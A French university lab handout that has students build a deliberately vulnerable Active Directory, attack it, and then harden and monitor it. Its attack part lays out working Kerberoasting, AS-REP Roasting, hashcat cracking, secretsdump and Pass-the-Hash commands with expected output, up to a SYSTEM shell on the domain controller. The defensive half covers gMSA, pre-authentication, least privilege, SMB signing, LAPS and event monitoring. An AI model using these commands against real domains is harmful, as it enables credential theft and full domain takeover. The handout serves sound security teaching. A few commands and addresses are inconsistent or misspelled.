

TRAVAUX PRATIQUES — SÉCURITÉ OFFENSIVE

Active Directory : Kerberoasting, AS-REP Roasting & Pass-the-Hash

Windows Server 2019 / 2022 · Kali Linux (dernière version)

AVERTISSEMENT LÉGAL ET PÉDAGOGIQUE : Ce TP s'inscrit exclusivement dans un cadre pédagogique encadré. Toutes les manipulations doivent être réalisées sur des machines virtuelles dans un réseau isolé (Host-Only ou NAT Network VirtualBox / VMWare Workstation). Toute reproduction de ces techniques sur des systèmes réels sans autorisation écrite constitue une infraction pénale (Art. 323-1 à 323-7 du Code pénal, jusqu'à 5 ans d'emprisonnement et 75 000 € d'amende). L'enseignant et l'établissement déclinent toute responsabilité en cas d'utilisation en dehors de ce cadre.

Paramètre	Valeur
Niveau	BUT Cybersécurité - 2ème année
Durée totale	3h30 (Partie 1 : 45 min · Partie 2 : 60 min · Pause : 15 min · Partie 3 : 60 min · Partie 4 : 15 min)
Hyperviseur	VirtualBox (recommandé) ou VMware
Machine attaquant	Kali Linux - dernière version (impacket et hashcat préinstallés)
Contrôleur de domaine	Windows Server 2019 ou 2022 - rôles AD DS + DNS
Machine cliente	Windows 10 - membre du domaine
Réseau	Host-Only ou NAT Network isolé - plage 192.168.x.0/24
RAM recommandée	DC : 8 Go · Client : 2 Go · Kali : 4 Go (total : 14 Go minimum)

Objectifs pédagogiques

À l'issue de ce TP, l'étudiant sera capable de :

- Configurer un environnement Active Directory vulnérable de manière contrôlée
- Comprendre le protocole Kerberos et ses failles de conception exploitables
- Réaliser une attaque Kerberoasting pour craquer le mot de passe d'un compte de service
- Réaliser une attaque AS-REP Roasting sur un compte sans pré-authentification Kerberos
- Extraire les hashes NTLM d'un contrôleur de domaine avec secretdump
- Utiliser le hash NTLM pour une attaque Pass-the-Hash (connexion sans mot de passe)
- Appliquer des contre-mesures efficaces : gMSA, politique de mots de passe, désactivation des paramètres vulnérables, signature SMB, Credential Guard
- Vérifier l'efficacité des contre-mesures en rejouant les attaques
- Surveiller les événements de sécurité Windows (Event IDs 4768, 4769)

Architecture du laboratoire

Le lab utilise trois machines virtuelles sur un réseau isolé. Aucune connexion à Internet n'est requise pour le TP lui-même (uniquement pour l'installation initiale des OS si nécessaire).

Machine	OS	IP fixe	Rôle
dc01	Windows Server 2019/2022	192.168.x.10	Contrôleur de domaine AD DS, DNS
client01	Windows 10/11	192.168.x.20 (ou DHCP)	Machine cliente membre du domaine lab.local
kali	Kali Linux	192.168.1x.50 (ou DHCP)	Machine attaquante - impacket, hashcat

Note réseau : Configurez toutes les VMs en mode Host-Only dans VirtualBox (Fichier → Outils → Network Manager → Host-Only Networks → Créer). Le DC doit avoir une IP fixe (192.168.x.10). Le DNS des machines clientes et de Kali doit pointer vers 192.168.x.10.

PARTIE 1 - Construction du laboratoire et configuration des vulnérabilités

1.1 Configuration du contrôleur de domaine Windows Server

Adresse IP statique

Sur Windows Server, ouvrez les propriétés de la carte réseau et configurez :

```
IP : 192.168.x.10
Masque : 255.255.255.0
Passerelle : (laisser vide - réseau isolé)
DNS préféré : 127.0.0.1 (le DC est son propre serveur DNS)
```

Installation des rôles AD DS et DNS via PowerShell

Sur le serveur, ouvrez PowerShell en tant qu'administrateur :

```
Install-WindowsFeature -Name AD-Domain-Services, DNS -IncludeManagementTools
```

Promotion en contrôleur de domaine

```
Install-ADDSForest `
```

```
-DomainName 'lab.local' `
-DomainNetbiosName 'LAB' `
-SafeModeAdministratorPassword (ConvertTo-SecureString 'Dsrm@Lab2024!' -
AsPlainText -Force) `
-InstallDns `
-Force
```

Le serveur redémarre automatiquement. Une fois redémarré, connectez-vous avec le compte Administrateur du domaine.

1.2 Création des utilisateurs et configuration des vulnérabilités

Cette étape est le cœur de la préparation : nous allons intentionnellement créer des configurations vulnérables pour les simuler dans un contexte réel.

Création des Unités d'Organisation (OU)

```
New-ADOrganizationalUnit -Name 'Comptes_de_service' -Path 'DC=lab,DC=local'
New-ADOrganizationalUnit -Name 'Utilisateurs_lab' -Path 'DC=lab,DC=local'
```

Compte vulnérable au Kerberoasting : svc_sql

Un compte de service avec un SPN (Service Principal Name) est vulnérable au Kerberoasting. N'importe quel utilisateur authentifié peut demander un ticket TGS chiffré avec le hash du mot de passe de ce compte. Si le mot de passe est faible, il peut être cracké hors ligne.

```
New-ADUser `
-Name 'svc_sql' `
-SamAccountName 'svc_sql' `
-UserPrincipalName 'svc_sql@lab.local' `
-Path 'OU=Comptes_de_service,DC=lab,DC=local' `
-AccountPassword (ConvertTo-SecureString 'Service123!' -AsPlainText -Force) `
-Enabled $true `
-PasswordNeverExpires $true
```

Ajoutez ensuite le SPN (Service Principal Name) qui rend ce compte ciblable par Kerberoasting :

```
Set-ADUser -Identity 'svc_sql' -ServicePrincipalNames
@{Add='MSSQLSvc/dc01.lab.local:1433'}
```

Pourquoi le SPN est-il le vecteur ? Kerberos permet à tout utilisateur authentifié de demander un ticket TGS pour n'importe quel SPN enregistré. Ce ticket est chiffré avec le hash NTLM du compte de service. Un attaquant peut récupérer ce ticket et le craquer hors ligne, sans interaction avec le DC après la demande initiale.

Compte vulnérable à l'AS-REP Roasting : user_asrep

La pré-authentification Kerberos est activée par défaut. Quand elle est désactivée, un attaquant peut demander un AS-REP (Authentication Service Response) sans s'authentifier - ce message est partiellement chiffré avec le hash du mot de passe de l'utilisateur.

```
New-ADUser `
  -Name 'user_asrep' `
  -SamAccountName 'user_asrep' `
  -UserPrincipalName 'user_asrep@lab.local' `
  -Path 'OU=Utilisateurs_lab,DC=lab,DC=local' `
  -AccountPassword (ConvertTo-SecureString 'Password123!' -AsPlainText -Force) `
  -Enabled $true
```

Désactivez la pré-authentification Kerberos (la vulnérabilité) :

```
Set-ADAccountControl -Identity 'user_asrep' -DoesNotRequirePreAuth $true
```

Compte utilisateur du domaine valide pour l'attaque : user1

Le Kerberoasting nécessite un compte authentifié dans le domaine (pas forcément admin). user1 simule un compte standard compromis initialement (ex : via phishing).

```
New-ADUser `
  -Name 'user1' `
  -SamAccountName 'user1' `
  -UserPrincipalName 'user1@lab.local' `
  -Path 'OU=Utilisateurs_lab,DC=lab,DC=local' `
  -AccountPassword (ConvertTo-SecureString 'Welcome1!' -AsPlainText -Force) `
  -Enabled $true
```

Attribution de droits trop élevés à svc_sql (mauvaise pratique simulée)

Pour simuler la situation réelle la plus dangereuse — un compte de service avec trop de privilèges - ajoutez svc_sql au groupe Domain Admins :

```
Add-ADGroupMember -Identity 'Admins du domaine' -Members 'svc_sql'
```

Ce paramètre est intentionnellement mauvais. En production, un compte de service SQL Server ne devrait JAMAIS être Domain Admin. C'est malheureusement une configuration fréquente dans les entreprises, ce qui rend le Kerberoasting particulièrement dévastateur dans ce cas.

1.3 Configuration du client Windows et de Kali Linux

Client Windows 10/11 : jonction au domaine

1. Configurer le DNS : Paramètres réseau → DNS préféré : 192.168.x.10
2. Paramètres → Comptes → Accès professionnel ou scolaire → Joindre à un domaine Active Directory local → lab.local
3. Saisir les credentials de l'Administrateur du domaine → Redémarrer
4. Vérifier en se connectant avec le compte user1 : LAB\user1

Kali Linux — vérification des outils

```
ping 192.168.10.10          # Vérifier la connectivité réseau
impacket-GetUserSPNs --help  # Vérifier impacket
hashcat --version           # Vérifier hashcat
```

Si impacket n'est pas à jour : `sudo apt update && sudo apt install -y python3-impacket impacket-scripts`. Les commandes s'appellent `impacket-GetUserSPNs`, `impacket-GetNPUsers`, `impacket-secretsdump`, `impacket-psexec` (avec tiret, pas espace).

PARTIE 2 - Phase d'attaque : compromettre l'Active Directory

Contexte : vous avez obtenu un premier accès au réseau interne (simulation : les credentials de user1 ont été récupérés via phishing). À partir de ce point d'appui minimal, vous allez élever vos privilèges jusqu'au contrôle total du domaine.

Attaque 1 - Kerberoasting

Principe

Le Kerberoasting exploite le fait que tout utilisateur authentifié dans un domaine Active Directory peut demander un ticket de service (TGS) pour n'importe quel compte possédant un SPN. Ce ticket est chiffré avec le hash NTLM du compte de service. L'attaquant récupère ce ticket et le craque hors ligne - sans aucune interaction supplémentaire avec le DC.

Compatibilité : Cette attaque fonctionne sur tout Active Directory depuis Windows Server 2003 jusqu'aux versions 2019 et 2022, sans aucun patch ou configuration spéciale à désactiver. Elle exploite le fonctionnement normal du protocole Kerberos.

Étape 1 - Lister les comptes avec SPN et récupérer les tickets TGS

Depuis Kali Linux, utilisez `impacket-GetUserSPNs` avec les credentials de user1 (compte non-admin) :

```
impacket-GetUserSPNs \
  -request \
  -dc-ip 192.168.10.10 \
  lab.local/user1:'Welcome1!'
```

Résultat attendu dans le terminal :

```
ServicePrincipalName      Name      MemberOf      PasswordLastSet
-----
MSSQLSvc/dc01.lab.local:1433  svc_sql      2024-01-15 10:22
$krb5tgs$23$*svc_sql$LAB.LOCAL$lab.local/svc_sql*$a8f3c1...
```

Sauvegardez le hash dans un fichier :

```
impacket-GetUserSPNs \  
-request \  
-dc-ip 192.168.10.10 \  
-outputfile /home/colmar/kerberoast.hash \  
lab.local/user1:'Welcome1!'  
  
cat /home/colmar/kerberoast.hash
```

Étape 2 - Craquage du hash avec hashcat

Le hash est de type Kerberos 5 TGS-REP etype 23 (RC4). Mode hashcat : -m 13100.

```
hashcat -m 13100 \  
/home/colmar/kerberoast.hash \  
/usr/share/wordlists/rockyou.txt \  
--force
```

Résultat attendu en quelques secondes (rockyou.txt contient Service123!) :

```
$krb5tgs$23$*svc_sql$...[hash complet]...:Service123!  
  
Session.....: hashcat  
Status.....: Cracked  
Hash.Mode.....: 13100 (Kerberos 5, etype 23, TGS-REP)  
Time.Started....: ... (0 secs)
```

Pour afficher le résultat clairement :

```
hashcat -m 13100 /home/kali/kerberoast.hash /usr/share/wordlists/rockyou.txt --  
show
```

Constat à noter : Le mot de passe Service123! est cracké en moins d'une seconde. Un compte de service avec un SPN et un mot de passe figurant dans un dictionnaire courant est une menace critique, surtout s'il est Domain Admin.

Attaque 2 - AS-REP Roasting (20 minutes)

Principe

La pré-authentification Kerberos force l'utilisateur à prouver sa connaissance du mot de passe avant que le DC ne lui envoie un TGT. Quand elle est désactivée, le DC envoie directement l'AS-REP chiffré avec le hash du mot de passe de l'utilisateur, sans vérification préalable. L'attaquant n'a même pas besoin d'un compte du domaine pour cette attaque.

Étape 1 - Récupérer le hash AS-REP

Cette attaque ne nécessite pas de compte authentifié. Le flag -no-pass indique à impacket de ne pas s'authentifier :

```
impacket-GetNPUsers \  
-dc-ip 192.168.10.10 \  
-no-pass \  
-request \  
lab.local/user_asrep
```

Résultat attendu :

```
Name           MemberOf PasswordLastSet LastLogon
-----
user_asrep      2024-01-15    <never>
$krb5asrep$23$user_asrep@LAB.LOCAL:c3d4e5...
```

Sauvegardez le hash :

```
impacket-GetNPUsers \
  -dc-ip 192.168.10.10 \
  -no-pass \
  -request \
  -outputfile /home/colmar/asrep.hash \
  lab.local/user_asrep
```

Étape 2 - Craquage du hash AS-REP

Le hash AS-REP est de type Kerberos 5 AS-REP etype 23. Mode hashcat : -m 18200.

```
hashcat -m 18200 \
  /home/colmar/asrep.hash \
  /usr/share/wordlists/rockyou.txt \
  --force

hashcat -m 18200 /home/kali/asrep.hash /usr/share/wordlists/rockyou.txt --show
```

```
$krb5asrep$23$user_asrep@LAB.LOCAL:...:Password123!
Status.....: Cracked
```

Constat à noter : L'AS-REP Roasting est encore plus dangereux que le Kerberoasting : aucun compte du domaine n'est nécessaire. Un attaquant externe ayant simplement accès au port 88/TCP du DC peut lancer cette attaque. Password123! est cracké instantanément.

Attaque 3 - Secretsdump et Pass-the-Hash

Principe

Maintenant que nous avons les credentials de svc_sql (Domain Admin), nous allons extraire tous les hashes NTLM du domaine via secretsdump, puis utiliser le hash de l'Administrateur pour nous connecter sans jamais connaître son mot de passe en clair.

Étape 1 - Extraction de tous les hashes NTLM du domaine

secretsdump se connecte au DC avec les credentials de svc_sql (Domain Admin) et extrait NTDS.dit, la base de données contenant tous les hashes du domaine :

```
impacket-secretssdump \
  lab.local/svc_sql:'Service123!'@192.168.10.10
```

Résultat attendu (extrait) :

```
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
user1:1104:aad3b435b51404eeaad3b435b51404ee:e6d290bdf1e3d1f418abcb04c8579a7d:::
user_asrep:1105:aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e8fdb71:::
svc_sql:1106:aad3b435b51404eeaad3b435b51404ee:d89e9ca8de5ad7e889.....:
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:... (hash KRBtgt) .....:
```

Format du résultat : NomUtilisateur:RID:LMHash:NTLMHash. La partie aad3b435... pour le LM hash est une valeur constante signifiant que LM est désactivé (standard depuis Vista). Seul le NTLM Hash (4ème champ) est utile pour l'attaque.

Étape 2 - Pass-the-Hash avec le hash Administrateur

Copiez le hash NTLM de l'Administrateur (le 4ème champ après les :) depuis la sortie précédente. Utilisez-le directement sans connaître le mot de passe :

```
impacket-psexec \
  -hashes aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889 \
  Administrateur@192.168.10.10
```

Résultat attendu :

```
[*] Requesting shares on 192.168.10.10...
[*] Found writable share ADMIN$
[*] Uploading file [random].exe
[*] Opening SVCManager on 192.168.10.10
[*] Creating service [random] on 192.168.10.10
[*] Starting service [random]
Microsoft Windows [Version 10.0.17763.xxxx]
(c) 2019 Microsoft Corporation. Tous droits réservés.

C:\Windows\system32>
```

Vérifiez vos privilèges :

```
whoami
nt authority\system
hostname
DC01
```

Constat final : Vous contrôlez le DC avec les droits SYSTEM sans avoir jamais connu le mot de passe de l'Administrateur en clair. C'est la conséquence en chaîne : mot de passe faible sur svc_sql → Kerberoasting → droits Domain Admin → secretsdump → Pass-the-Hash → contrôle total.

PARTIE 3 - Phase de défense : bloquer et détecter les attaques

Défense 1 - Contre le Kerberoasting

Prévention : mots de passe forts sur les comptes de service

Un hash Kerberoasting ne peut pas être empêché (c'est du protocole normal), mais il peut être rendu impossible à craquer en imposant un mot de passe très long. Mettez à jour le mot de passe de svc_sql :

```
Set-ADAccountPassword -Identity "svc_sql" -NewPassword (ConvertTo-SecureString "X9#kL2&mP@vQ8!rN5sT7*wY4zB6jH3eA" -AsPlainText -Force) -Reset
```

Pourquoi 30+ caractères ? hashcat peut tester ~1 milliard de hashes Kerberos par seconde sur un GPU moderne avec rockyou.txt. Un mot de passe aléatoire de 30 caractères prendrait plus longtemps que l'âge de l'univers à craquer en brute-force, même en utilisant des règles.

Prévention optimale : Group Managed Service Accounts (gMSA)

Les gMSA sont des comptes de service gérés par Active Directory qui changent automatiquement leur mot de passe tous les 30 jours (128 caractères aléatoires). Aucun humain ne connaît jamais le mot de passe, il est impossible à craquer.

NB : Votre compte doit être administrateur de l'entreprise et administrateur du domaine

```
# Créer la clé KDS (une seule fois par forêt – nécessite un délai de 10h en production)
# En lab, utilisez le flag -EffectiveImmediately :
Add-KdsRootKey -EffectiveImmediately

# Créer le gMSA
New-ADServiceAccount `
  -Name 'gMSA_sql' `
  -DNSHostName 'gmsa-sql.lab.local' `
  -PrincipalsAllowedToRetrieveManagedPassword 'DC01$'

# Installer sur le serveur qui utilise le service
Install-ADServiceAccount -Identity 'gMSA_sql'
Test-ADServiceAccount -Identity 'gMSA_sql'
```

Détection : surveiller l'Event ID 4769

Activez l'audit des événements Kerberos sur le DC via une GPO :

```
# Chemin GPO :
Configuration ordinateur → Paramètres Windows → Paramètres de sécurité
→ Configuration de la stratégie d'audit avancée → Connexion de compte
→ Auditer les opérations du ticket de service Kerberos → Succès et Échec
```

Dans l'Observateur d'événements (Event Viewer), cherchez :

- Event ID 4769 : Un ticket de service Kerberos a été demandé

- Filtre suspect : Type de chiffrement = 0x17 (RC4) — les tickets Kerberoastables sont en RC4
- Alerte : plusieurs Event 4769 RC4 en rafale pour le même SPN = scan Kerberoasting en cours

Kerberoasting avec AES : Si vous forcez AES256 sur les comptes de service (Set-ADUser -Identity svc_sql -KerberosEncryptionType AES256), les tickets ne seront plus en RC4. Le Kerberoasting reste possible mais les hashes AES sont 50x plus lents à craquer avec hashcat (-m 19700).

Défense 2 - Contre l'AS-REP Roasting

Prévention : réactiver la pré-authentification Kerberos

C'est la contre-mesure principale — simple et immédiate :

```
Set-ADAccountControl -Identity 'user_asrep' -DoesNotRequirePreAuth $false
```

Vérifiez le changement :

```
Get-ADUser -Identity 'user_asrep' -Properties DoesNotRequirePreAuth | Select-Object DoesNotRequirePreAuth
DoesNotRequirePreAuth
-----
False
```

Audit : identifier tous les comptes sans pré-authentification

En production, lancez régulièrement ce script pour détecter les comptes concernés :

```
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth |
    Select-Object Name, SamAccountName, DoesNotRequirePreAuth
```

Détection : surveiller l'Event ID 4768

L'Event ID 4768 (TGT demandé) avec Pre-Authentication Type = 0 indique une demande AS-REP sans pré-authentification. Activez l'audit :

```
# Chemin GPO :
Configuration ordinateur → Paramètres Windows → Paramètres de sécurité
→ Configuration de la stratégie d'audit avancée → Connexion de compte
→ Auditer les événements d'authentification Kerberos → Succès et Échec
```

Défense 3 - Contre le Pass-the-Hash et le dumping de credentials

Principe du moindre privilège : retirer svc_sql des Domain Admins

Un compte de service SQL n'a aucune raison d'être Domain Admin. Corrigez cette configuration :

```
Remove-ADGroupMember -Identity 'Domain Admins' -Members 'svc_sql' -
Confirm:$false
```

```
# Vérification
```

```
Get-ADGroupMember -Identity 'Domain Admins' | Select-Object Name
```

Activer la signature SMB (protection contre NTLM Relay)

La signature SMB empêche les attaques NTLM Relay (l'attaquant ne peut pas rejouer une authentification interceptée). Appliquez via GPO :

```
# Chemin GPO :  
Configuration ordinateur → Paramètres Windows → Paramètres de sécurité → Options  
de sécurité  
→ Serveur réseau Microsoft : signer numériquement les communications (toujours)  
→ Activé  
→ Client réseau Microsoft : signer numériquement les communications (toujours) →  
Activé
```

Vérifiez via PowerShell sur le DC :

```
Get-SmbServerConfiguration | Select-Object RequireSecuritySignature,  
EnableSecuritySignature
```

Activer Windows Defender Credential Guard

Credential Guard isole le processus LSASS dans une enclave sécurisée (Virtual Secure Mode), rendant l'extraction de hashes avec Mimikatz ou Kiwi impossible même avec SYSTEM.

```
# Activer via GPO :  
Configuration ordinateur → Modèles d'administration → Système → Device Guard  
→ Activer la sécurité basée sur la virtualisation → Activé  
→ Credential Guard Configuration → Activé avec verrouillage UEFI
```

Prérequis Credential Guard : Nécessite un processeur compatible VBS (Intel VT-x ou AMD-V), UEFI avec Secure Boot, et TPM 2.0. Dans VirtualBox, Credential Guard peut ne pas être activable en VM, c'est normal pour un lab. Cette technique est à présenter conceptuellement.

Implémenter LAPS (Local Administrator Password Solution)

LAPS gère automatiquement des mots de passe uniques pour le compte Administrateur local de chaque machine. Cela empêche le mouvement latéral via un même mot de passe admin local partagé.

```
# Sur le DC, installer le module LAPS PowerShell :  
Install-Module -Name LAPS -Force # Ou télécharger depuis Microsoft  
  
# Windows Server 2022 dispose de Windows LAPS natif :  
# Paramètres → Sécurité du compte → Windows LAPS → Activer  
  
# Configurer via GPO :  
# Configuration ordinateur → Modèles d'administration → Système → LAPS  
# → Activer la gestion du mot de passe du compte administrateur local → Activé  
# → Durée de vie du mot de passe : 30 jours  
# → Complexité : Majuscules + minuscules + chiffres + caractères spéciaux +  
longueur 25
```

Défense 4 - Rejouer les attaques pour valider les correctifs

C'est la vérification essentielle : si les contre-mesures fonctionnent, les attaques doivent échouer ou retourner des résultats inutilisables.

Test 1 - Kerberoasting après changement de mot de passe

```
impacket-GetUserSPNs \  
  -request \  
  -dc-ip 192.168.10.10 \  
  lab.local/user1:'Welcome1!'  
# Le hash est récupéré mais hashcat ne peut plus le craquer :  
# Status : Exhausted — le mot de passe de 30 caractères n'est pas dans  
rockyou.txt
```

Test 2 - AS-REP Roasting après réactivation de la pré-authentification

```
impacket-GetNPUsers \  
  -dc-ip 192.168.10.10 \  
  -no-pass \  
  lab.local/user_asrep  
[-] User user_asrep doesn't have UF_DONT_REQUIRE_PREAUTH set  
# Aucun hash retourné — la pré-authentification est réactivée
```

Test 3 - secretsdump après retrait des droits Domain Admin

```
impacket-secretsdump \  
  lab.local/svc_sql:'Service123!'@192.168.10.10  
[-] DRSR SessionError: code: 0x20f7 - ERROR_DS_DRA_ACCESS_DENIED  
# Accès refusé — svc_sql n'est plus Domain Admin
```

Validation : Si les trois tests échouent comme décrit ci-dessus, les contre-mesures sont en place. Notez que le Kerberoasting retourne toujours un hash — la défense repose sur l'impossibilité de le craquer, pas sur l'impossibilité de le récupérer. C'est la différence fondamentale avec l'AS-REP Roasting.

PARTIE 4 — Conclusion et bonnes pratiques

Synthèse des attaques et contre-mesures

Attaque	Prérequis attaquant	Contre-mesure principale	Event ID de détection
Kerberoasting	Compte du domaine (non-admin)	gMSA ou mot de passe 30+ caractères + AES256	4769 (TGS request, RC4)

AS-REP Roasting	Aucun compte requis (accès réseau seul)	Ne jamais désactiver la pré-authentification Kerberos	4768 (PreAuth type = 0)
Pass-the-Hash	Hash NTLM + droits admin sur la cible	Credential Guard + Moindre privilège + LAPS	4624 (logon type 3)
Secretsdump	Compte Domain Admin ou droits DCSync	Moindre privilège + Protected Users + audit DCSync	4662 (accès objet DS)

Bonnes pratiques à retenir

Gestion des comptes de service

- Utiliser des gMSA systématiquement pour tous les nouveaux comptes de service
- Auditer tous les comptes avec SPN : `Get-ADUser -Filter {ServicePrincipalName -like '*'}`
- Changer les mots de passe des comptes de service existants (30+ caractères aléatoires minimum)
- Forcer AES256 : `Set-ADUser -Identity svc_sql -KerberosEncryptionType AES256`

Protocoles et configuration Kerberos

- Ne jamais désactiver `DoesNotRequirePreAuth` sauf besoin absolument justifié et documenté
- Auditer mensuellement les comptes avec `DoesNotRequirePreAuth` activé (script PowerShell)
- Désactiver RC4 dans la négociation Kerberos si tous les clients le supportent (Windows 10+ et Server 2016+)

Gestion des privilèges

- Principe du moindre privilège : aucun compte de service ne doit être Domain Admin
- Tier Model Microsoft : séparer les comptes admin Tier 0 (DC), Tier 1 (serveurs), Tier 2 (postes)
- Déployer LAPS pour éliminer les mots de passe admin locaux partagés
- Activer Protected Users pour tous les comptes sensibles, bloque NTLM, force AES Kerberos

Surveillance et détection

- Configurer le SIEM pour alerter sur Event ID 4769 (RC4) en masse, 4768 (PreAuth=0), 4662 (DCSync)
- Utiliser BloodHound/SharpHound en interne (Purple Team) pour cartographier les chemins d'attaque AD
- Microsoft Defender for Identity (anciennement Azure ATP) : détection native des attaques Kerberos

Questions de synthèse

5. Un attaquant a intercepté un ticket TGS Kerberoastable en RC4. Expliquez pourquoi changer le mot de passe de svc_sql APRÈS l'interception n'invalide pas ce ticket déjà capturé, et quelle est la durée de vie par défaut d'un TGS.
6. Quelle est la différence fondamentale entre Kerberoasting et AS-REP Roasting en termes de prérequis attaquant ? Lequel des deux représente la menace la plus sérieuse pour un réseau exposé à Internet ?
7. Le Pass-the-Hash ne fonctionne pas avec Kerberos, uniquement avec NTLM. Expliquez comment l'activation de Protected Users pour le compte Administrateur bloquerait l'attaque réalisée en Partie 2.
8. Lors du test de validation (Partie 3, Étape 4), le Kerberoasting retourne encore un hash même après le changement de mot de passe. Pourquoi est-ce normal ? La défense est-elle efficace malgré cela ?
9. Proposez une architecture de surveillance complète basée sur les Event IDs vus dans ce TP. Quels critères (seuils, corrélations) utiliseriez-vous pour déclencher une alerte dans un SIEM ?

Livrables attendus

- Captures d'écran de chaque attaque avec le résultat observé dans le terminal
- Captures d'écran des contre-mesures appliquées et des tests de validation
- Réponses aux 5 questions de synthèse
- Un schéma de la kill chain AD réalisée dans ce TP (de la compromission initiale de user1 au contrôle total du DC)

Rappel final : Les techniques pratiquées dans ce TP (Kerberoasting, AS-REP Roasting, Pass-the-Hash, secretsdump) sont illégales si utilisées sur des systèmes réels sans autorisation écrite préalable. Ce TP est réalisé exclusivement dans un cadre pédagogique encadré, sur des machines virtuelles isolées. La maîtrise de ces attaques est indispensable pour un professionnel de la cybersécurité afin de comprendre les risques réels et concevoir des défenses adaptées.